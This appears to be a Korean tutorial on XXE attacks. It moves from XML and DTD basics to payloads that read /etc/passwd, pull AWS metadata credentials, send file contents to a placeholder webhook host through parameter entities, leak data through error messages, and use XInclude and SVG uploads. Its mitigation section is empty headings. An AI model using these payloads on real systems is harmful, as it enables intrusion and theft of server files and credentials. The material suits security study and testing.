XXE (XML External Entities) 공격, 기초부터 고급까지 (xxe파일업로드, XInclude, …)

1. XML에 대한 이해 (xml을 이해하고 있다면 스킵)

1.1 XML?

1.2 XML 기본 구조

XML 선언

<?xml version="1.0" encoding="UTF-8"?>

• XML태그를 사용하여 XML 문서임을 명시합니다.

XML 구조

<!-- shop -->
<shop city="서울" type="마트">

    <food>

        ...

    </food>

    <food>

        ...

    </food>

</shop>

• 여기서 shop이 루트(조상) 요소입니다.

• 여기서 city와 type은 속성 값 입니다.

XML 기본 규약

1. xml은 종료 태그를 항상 가져야 합니다.

2. xml태그는 대소문자를 구분합니다.

3. xml에서 속성값은 반드시 따옴표로 감싸야 합니다.

4. xml에서는 띄어쓰기를 인식합니다.

1.3 DTD

DTD 구조

<!DOCTYPE 루트요소 DTD식별자 [ 선언1 선언2 ... ]>

DTD의 구성 요소

<!ELEMENT 요소이름 요소카테고리>
또는
<!ELEMENT 요소이름 (요소내용)>

• XML 문서를 구성하는 가장 중요한 구성 요소입니다.

<!ATTLIST 요소이름 속성이름 속성타입 속성값>

• 속성은 요소에 대한 추가적인 정보를 제공하며, 해당 요소의 특징을 정의합니다.

<!-- 외부 엔티티와 내부 엔티티 모두 DTD 안에 포함되어야 함 -->
<!-- 내부 엔티티 -->
<!ENTITY 엔티티이름 "엔티티값">

<!-- 외부 엔티티 -->
<!ENTITY 엔티티이름 SYSTEM "URI">

• 내부 엔티티 : XML내에 있는 엔티티를 조회할 때 사용됩니다.

• 외부 엔티티 : XML 외부, 즉 URI에서 데이터를 가져와서 해당 값을 참조합니다.

<!DOCTYPE foo [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ] >

<!DOCTYPE foo [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ] >
<foo>
	&passwd;
</foo>
	

2. XXE (XML External Entities)

2.1 XXE

2.2 XXE 발생 예시

XXE 공격이 응답에 담겨오는 경우

• productId에 foo라는 잘못된 값을 주었을 때, 웹 서버가 입력한 값을 반환하는 로직을 가지고 있다는 것을 확인할 수 있습니다.

• 만약 서버 내부 파일을 읽어 XML에 포함시키고, 해당 값을 응답 값에 반환시킬 수 있다면 어떻게 될까요?

<!DOCTYPE foo [ 
	<!ENTITY xxe SYSTEM "file:///etc/passwd"> 
] >

• 서버의 계정 정보를 유출할 수 있는 취약점을 확인할 수 있습니다.

<!DOCTYPE foo [ 
	<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> 
] >

<!ENTITY xxe SYSTEM "">
<foo>
	&xxe;
</foo>

• 기본적으로 사용되며, XML문서에서 텍스트나 다른 데이터를 포함합니다.

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "웹훅"> %xxe; ]>

• 매개변수 엔티티는 DTD 내에서 사용되며, 엔티티의 정의나 구조를 모듈화하고 재사용 할 수 있게 합니다.

• % 엔티티 형식으로 선언해 주고 Doctype 내에서 % 엔티티 형식으로 호출해 주면 됩니다.

• &이 필터링 되어 있을 때 사용할 수 있습니다.

XXE 공격의 성공 여부가 요청 응답에 담기지 않는 경우

<?xml version="1.0" encoding="UTF-8"> 
<!DOCTYPE foo [ 
	<!ENTITY xxe SYSTEM "https://<webhook server domain>"> 
] >

<somtingElement>
 &xxe;  <!-- 웹훅으로 요청 -->
</somethingElement>

• 웹훅 주소를 엔티티로 선언하면, XML이 파싱될 때 웹훅 주소로 요청을 하게 됩니다 만약 웹훅 주소에서 요청이 와있다면, XXE 공격이 성공하는 사이트라고 판단할 수 있습니다.

<?xml version="1.0" encoding="UTF-8"> 
<!DOCTYPE foo [ 
	<!ENTITY %file SYSTEM "file:///etc/passwd">
	<!ENTITY %xxe SYSTEM "https://<webhook server domain?param=%file>"> 
] %xxe; >
<!-- ~ xml -->

• 일반적으로 file entity에서 원하는 정보를 가져와서 웹훅 서버에 파라미터 형식으로 정보를 전달합니다. 근데 이 경우, /etc/passwd 같은 멀티라인 파일을 보내게 되면 첫 개행 전까지 데이터만 가져오게 됩니다. 이를 해결하기 위해서 ftp 서버로 전송 하는 방식과 에러메세지에 file entity 요소 담기 방법이 있습니다.

3. 추가적인 Bypass

3.1 &을 사할 수 없을 경우

인코딩 형식의 XXE

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % stack "<!ENTITY &#x25; exfil SYSTEM 'webhook.server/?file=%file;'>">
%stack;
%exfil;

• 해당 값을 XML 파서가 읽었을 때 구문이 실행될 수 있도록 엔티티만 작성합니다.

• 순서는 file 엔티티 선언 → %stack; → %exfil 엔티티 정의 → %exfil; → exfil 엔티티 실행 → %file 엔티티의 내용을 보냄 형태 입니다.

• 이렇게 이중 구문을 사용해준 이유는 xml 파서에 따라 file이 해석이 되지 않을 수 있기 때문입니다. (그렇다면 webhook.server?file=%file 형태로 보내집니다.)

• 엔티티를 동적 생성 한다고 생각하시면 됩니다.

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "webhook.server"> %xxe;]>
<asdf></asdf>

• 이렇게 되면 외부 ENTITY 호출을 통해 엔티티를 선언하고 동적으로 구성된 XXE 페이로드가 실행되게 됩니다.

3.2 에러 메세지를 이용한 XXE

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % stack "<!ENTITY &#x25; xxe SYSTEM 'file:///WTF/%file;'>">
%stack;
%xxe; 

순서

1. file 엔티티 정의

2. stack 엔티티 정의 및 호출 → file 엔티티가 WTF/ 이후 경로에 담김 → xxe 엔티티 정의

3. xxe 엔티티 호출

4. file:///WTF 경로가 존재하지 않기 때문에 에러 발생

5. XML 파서는 에러가 발생한 부분을 반환해야 하기 때문에 file 엔티티 내용을 반환하게 됨

예시 (해당 페이로드가 담긴 외부 엔티티를 가져오는 모습)

• XML 파싱 부분에 어디서 에러가 발생하였는지 Return 하면서 취약점이 발생합니다. (여기서는 없는 경로를 요청했기 때문에 없는 경로 이후의 값들을 전부 다 노출했네요)

• 특이점으론, URL 요청이 아니기 때문에 XXE를 통해 가져오고자 하는 파일이 멀티라인이여도 전부 다 가져올 수 있습니다.

3.3 XInclude 를 사용한 XXE

• XML 문서 내에서 <xi:include> 요소를 사용하여 다른 XML 문서나 문서의 특정 부분을 포함할 수 있습니다.

• href 속성을 통해 로컬 파일 경로 혹은 웹상의 URL을 불러올 수 있습니다

• parse 속성을 통해 href로 가져온 데이터를 어떻게 파싱할 것인지 지정할 수 있습니다.

예시

productId=aa&storeId=1

productId=%26entity&storeId=1

• 엔티티는 보안적인 이슈로 허용되지 않는다고 합니다.

• 따라서 해당 서버에 XML파서가 동작하는 것을 알 수 있습니다.

• (혹은 보안 로직이 존재하거나요)

• 하지만 서버에서 파라미터를 인식하지 못하고 있다고 반환됩니다.

• XML엔티티는 제한하면서, Content-Type은 해석하지 못한다는 것은 서버에서 받은 데이터를 XML문서에 데이터를 저장하고 있거나, SOAP 프로토콜 등을 사용하여 또 다른 백앤드 서버와 통신하고 있을 수 있음을 내포합니다..

productId=
<asdf xmlns:xi="http://www.w3.org/2001/XInclude"> <!-- xml ref -->
<xi:include parse="text" href="file:///etc/passwd"/> <!-- file included -->
</asdf>
&storeId=1

• XInclude를 사용하여 /etc/passwd파일을 가져오는 것을 볼 수 있습니다.

3.4 파일 업로드에서 발생하는 XXE

예시

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

4. 보안 조치

4.1 외부 엔티티 제한

4.2 파일 업로드 검사

Reference